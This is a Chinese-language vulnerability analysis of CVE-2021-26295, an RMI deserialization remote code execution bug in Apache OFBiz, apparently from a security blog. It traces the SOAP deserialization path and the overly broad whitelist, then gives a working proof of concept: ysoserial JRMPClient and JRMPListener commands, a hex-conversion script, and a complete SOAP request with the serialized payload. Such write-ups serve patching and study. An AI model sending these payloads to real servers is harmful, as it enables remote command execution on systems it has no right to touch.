CVE-2021-26295 Apache OFBiz 反序列化分析

360安全客 安全知识 34629 4

 

漏洞简介

2021年3月22日 Apache OFBiz官方发布安全更新，修复了一处由RMI反序列化造成的远程代码执行漏洞。攻击者可构造恶意请求，触发反序列化，从而造成任意代码执行，控制服务器。

漏洞影响版本：apache:ofbiz<17.12.06

官网：https://ofbiz.apache.org/

项目下载地址：https://archive.apache.org/dist/ofbiz/

补丁代码：https://github.com/apache/ofbiz-framework/commit/af9ed4e/

漏洞触发路径:https://ip:8433/webtools/control/SOAPService

 

调试环境搭

这个反序列化漏洞本身相对简单，但是搭建调试环境的时候费了好些功夫。

工具：Idea + apache-ofbiz-17.12.01.zip + gradle-6.8.3 + jdk11 + jkd1.8

jdk11是gradle用来构建项目的，jdk1.8是用来运行项目的。大概过程如下：

首先Idea打开整个ofbiz工程，配置gradle目录

高版本的gralde需要jdk11以上环境（一开始我配的是jdk1.8，但是构建项目就报错了），确定之后，然后就进入漫长的等待时间，然后build一下

Build完成后，会在项目目录下生成build文件夹，以及ofbiz.jar等文件。

然后edit congfigurations 添加JAR Application

调试运行（jdk要选1.8的，用jdk11会报错），然后在framework\webapp\src\main\java\org\apache\ofbiz\webapp\event\SOAPEventHandler.java public String invoke(*)下断点。

网页访问：/webtools/control/SOAPService，成功断下。

 

漏洞跟踪调试

我们先看下payload格式，再跟踪代码流程。

当访问https://ip:8443/webtools/control/SOAPService时，程序会进入SOAPEventHandler模块进行处理，具体网站路径的路由控制可以参考https://xz.aliyun.com/t/8184/这篇文章。函数负责接收soap数据，并进调用SoapSerializer.deserialize()函数进行反序列化处理，代码如下：

然后调用XmlSerializer.deserialize()

然后调用deserializeSingle()函数,这个函数需要重点关注，函数决定你构造的payload的格式。

函数首先获取了我们的标签cus-obj,然后和一些标签进行比较，如果没有匹配到，则调用deserializeCustom()函数，获取标签内的值，然后将16进制转化成字节数组。然后调用readObject()将字节数组反序列化,触发漏洞。

这里函数里使用了SafeObjectInputStream类，做了一些安全处理，加了白名单机制，只允许白名单内的类进行反序列化。

我对比看了下ofbiz16版本系列的，这里是没有SafeObjectInputStream过滤的。

应该是官方自己发现这里有反序列化漏洞问题，所有加了白名单机制，限制了反序列化的类，但是在加白名单时比较松散,“java.”白名单范围太大，导致漏洞依然可以被利用，使用ysoserial的rmi payload依然可以做到任意命令执行。

最新版本的补丁，添加了java.rmi.server的过滤。

 

漏洞测试

1、生成payload

java -jar ysoserial-master-30099844c6-1.jar JRMPClient "127.0.0.1:1099" > calc.ser

2、将calc.ser转成16进制

import binascii

filename = 'calc.ser'

with open(filename, 'rb') as f:

    content = f.read()

print(binascii.hexlify(content))

3、java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 “calc”

4、构造payload发送到目标服务器

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">

    <soapenv:Header/>

    <soapenv:Body>

<ser> <cus-obj>aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000044b000000000b3e7d8b00000000000000000000000000000078</cus-obj>

</ser>

    </soapenv:Body>

</soapenv:Envelope>

 

总结思考

1、我在跟踪调试时，发现触发这个漏洞的流程并不只这一条，还有其他方式可以触发该漏洞，有兴趣的可以找一下。

2、总感觉他这个白名单范围过大，如果以后有大佬找到新的利用链，那这个白名单很可能被绕过。

参考：

1、 https://xz.aliyun.com/t/8184/

2、 https://www.o2oxy.cn/3271.html

（完）